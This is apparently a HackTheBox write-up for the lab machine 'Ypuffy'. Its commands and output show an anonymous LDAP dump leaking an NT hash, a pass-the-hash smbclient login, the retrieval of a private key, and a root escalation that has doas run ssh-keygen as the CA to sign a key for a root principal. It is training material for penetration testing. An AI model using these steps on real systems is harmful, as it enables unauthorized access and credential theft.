Ypuffy from HackTheBox

TL;DR

An NT hash exposed through LDAP allowed authentication to a samba share with a pass the hash attack.  The share contained a ssh private key that could be used to log in as alice1978.  Through doas (the OpenBSD equivalent of sudo) Alice can run ssh-keygen as the user certificate authority. Combining this fact with knowing the root user's principal we can create a ssh key as Alice and then sign it with the certificate authority allowing us to simply ssh into the root user.

User

As ever a Nmap scan comes first.

# Nmap 7.70 scan initiated Wed Oct 17 10:14:38 2018 as: nmap -sV -sS -sC -o nmap.txt 10.10.10.107
Nmap scan report for 10.10.10.107
Host is up (0.080s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
|   256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_  256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp  open  http        OpenBSD httpd
|_tomcat-scan: ERROR: Script execution failed (use -d to debug)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open  ldap        (Anonymous bind OK)
445/tcp open  netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY

Host script results:
|_clock-skew: mean: 1h19m57s, deviation: 2h18m37s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6)
|   Computer name: ypuffy
|   NetBIOS computer name: YPUFFY\x00
|   Domain name: hackthebox.htb
|   FQDN: ypuffy.hackthebox.htb
|_  System time: 2018-10-17T10:15:03-04:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2018-10-17 10:15:03
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 17 10:15:22 2018 -- 1 IP address (1 host up) scanned in 43.49 seconds

This scan reveals 5 open ports:

  • 22/tcp - ssh - This suggests we will be able to obtain access to the box via the secure shell protocol at some point and as such we will be looking to obtain credentials for authentication.
  • 80/tcp - http - There is an OpenBSD httpd server running on this port however it doesn't respond to requests from a browser.
  • 139/tcp and 445/tcp - NetBIOS - Anonymous login is not allowed so we will need credentials to enumerate further.
  • 389/tcp - ldap - Nmap has detected Anonymous bind is allowed and this suggests that ldap is likely the starting point for this box.

ldap

As previously identified the ldap service has been configured to allow anonymous binds meaning anyone can connect and query potentially sensitive information about the system.  To do this we can use the ldap-search Nmap script.

nmap -p 389 --script ldap-search 10.10.10.107

Nmap scan report for 10.10.10.107
Host is up (0.047s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-search: 
|   Context: dc=hackthebox,dc=htb
|     dn: dc=hackthebox,dc=htb
|         dc: hackthebox
|         objectClass: top
|         objectClass: domain
|     dn: ou=passwd,dc=hackthebox,dc=htb
|         ou: passwd
|         objectClass: top
|         objectClass: organizationalUnit
|     dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
|         uid: bob8791
|         cn: Bob
|         objectClass: account
|         objectClass: posixAccount
|         objectClass: top
|         userPassword: {BSDAUTH}bob8791
|         uidNumber: 5001
|         gidNumber: 5001
|         gecos: Bob
|         homeDirectory: /home/bob8791
|         loginShell: /bin/ksh
|     dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
|         uid: alice1978
|         cn: Alice
|         objectClass: account
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: sambaSamAccount
|         userPassword: {BSDAUTH}alice1978
|         uidNumber: 5000
|         gidNumber: 5000
|         gecos: Alice
|         homeDirectory: /home/alice1978
|         loginShell: /bin/ksh
|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
|         displayName: Alice
|         sambaAcctFlags: [U          ]
|         sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
|         sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
|         sambaPwdLastSet: 1532916644
|     dn: ou=group,dc=hackthebox,dc=htb
|         ou: group
|         objectClass: top
|         objectClass: organizationalUnit
|     dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: bob8791
|         userPassword: {crypt}*
|         gidNumber: 5001
|     dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: alice1978
|         userPassword: {crypt}*
|         gidNumber: 5000
|     dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
|         sambaDomainName: YPUFFY
|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464
|         sambaAlgorithmicRidBase: 1000
|         objectclass: sambaDomain
|         sambaNextUserRid: 1000
|         sambaMinPwdLength: 5
|         sambaPwdHistoryLength: 0
|         sambaLogonToChgPwd: 0
|         sambaMaxPwdAge: -1
|         sambaMinPwdAge: 0
|         sambaLockoutDuration: 30
|         sambaLockoutObservationWindow: 30
|         sambaLockoutThreshold: 0
|         sambaForceLogoff: -1
|         sambaRefuseMachinePwdChange: 0
|_        sambaNextRid: 1001

Nmap done: 1 IP address (1 host up) scanned in 3.03 seconds

As expected this provides us with some sensitive information.  Most importantly that we a NT hash for user alice1978.

Passing the Hash

Now we could go about cracking the hash locally using a tool like Hashcat but due to the fact that the smb protocol falls victim to pass the hash style attacks, clients can be modified to authenticate with hashes without requiring the associated plain text password in essence making the hash the password defeating the purpose of a hash outright.  As such we can use this hash and the smbclient command to authenticate with the server as user alice1978.


Once authenticated we can list the shares with the following command specifying the password as the obtained NT hash when prompted. The --pw-nt-hash option specifies that we intend to use a hash instead of a password to authenticate and -L lists the shares.

smbclient --pw-nt-hash -U alice1978 -L 10.10.10.107

Enter WORKGROUP\alice1978's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        alice           Disk      Alice's Windows Directory
        IPC$            IPC       IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------

Next, we connect to the alice share with the following command again specifying the password as the NT hash.

smbclient --pw-nt-hash -U alice1978 //10.10.10.107/alice

Enter WORKGROUP\alice1978's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Jul 31 03:54:20 2018
  ..                                  D        0  Wed Jan 16 22:05:26 2019
  my_private_key.ppk                  A     1460  Tue Jul 17 02:38:51 2018

                433262 blocks of size 1024. 411530 blocks available
smb: \> get my_private_key.ppk 
getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (1.2 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \>

After using the ls command to list the contents of the current file we see there is a file named my_private_key.ppk this is likely to allow us to ssh into the box so we download it with get my_private_key.ppk.

Upon closer inspection, the file is a private key however it is in the putty format and as such can't be used with the OpenSSH installed in my environment. This issue can be fixed by either using putty to connect to the server or by converting the key to the OpenSSH format. This is done with the following command.  Where -O is the output format and -o is the output file.
puttygen my_private_key.ppk -O private-openssh -o id_rsa_alice
Now we can open a connection to the server over ssh with the private key. The user.txt flag is in Alice's home directory as we would expect.

Root

As we can see from the banner displayed when we connect with ssh the box is running OpenBSD 6.3 this means that it doesn't have sudo and instead has doas (the OpenBSD equivalent).  By checking the contents of the /etc/doas.conf file we can see how doas is configured.

OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

ypuffy$ cat /etc/doas.conf
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
ypuffy$

From this, we can see that the user alice1978 can run ssh-keygen as userca.

Web Server

Remember the web server? No, well there was a web server that wouldn't respond to our requests.  Looking at the /var/www/logs/access.log file we can see the only successful requests are the two below. It should be noted that the web server only responds to requests from the localhost so this explains why we received no response when we tried to connect from our client.

ypuffy.hackthebox.htb 127.0.0.1 - - [16/Jan/2019:14:19:07 -0500] "GET /sshauth?type=keys%26username=alice1978 HTTP/1.1" 200 0

ypuffy$ curl 'http://localhost/sshauth?type=keys&username=alice1978'
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716


ypuffy.hackthebox.htb 127.0.0.1 - - [16/Jan/2019:17:58:43 -0500] "GET /sshauth?type=principals%26username=root HTTP/1.1" 200 0

ypuffy$ curl 'http://localhost/sshauth?type=principals&username=root'
3m3rgencyB4ckd00r

From this, we obtain some form of rsa key relating to alice1978 and the root principal 3m3rgencyB4ckd00r.

ssh-keygen

At this point, it is clear from the things we have found that we are going to need to use ssh-keygen to obtain root.  Looking at the man page for ssh-keygen there is only one example usage that involves a principal.

ssh-keygen -s ca_key -I certificate_identity [-h] [-U] [-D pkcs11_provider] [-n principals] [-O option] [-V validity_interval] [-z serial_number] file

Breaking this down:

  • We don't want a host certificate (we want a user certificate) so we don't need -h
  • The ca_key isn't stored in the ssh-agent so we don't need -U
  • The ca_key isn't stored in a PKCS#11 token so we also don't need -D
  • We don't need any additional certificate options so -O can be ignored
  • Seen as we are attacking this box we don't need to consider certificate expiry as such -V can be ignored
  • Finally the default serial number is 0 this is sufficient for our needs so we can also ignore -z

Putting in the information we know leaves us with ssh-keygen -s ca_key -I alice1978 -n 3m3rgencyB4ckd00r file
However, before we can run this we need to:

  • Generate the key pair for alice1978 which will be signed. This is done with ssh-keygen -f /tmp/alicesshkey
  • Locate the ca_key file. This likely to be in the files of userca if we navigate there we see a file named ca this is what we need.

Leaving us with ssh-keygen -s /home/userca/ca -I alice1978 -n 3m3rgencyB4ckd00r /tmp/alicesshkey

We can now use doas combined with the above command to sign the created key pair as userca.

ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I alice1978 -n 3m3rgencyB4ckd00r /tmp/alicesshkey
Signed user key alicesshkey-cert.pub: id "alice1978" serial 0 for 3m3rgencyB4ckd00r valid forever

Now that we have the signed key we can simply ssh into the root user with said signed key.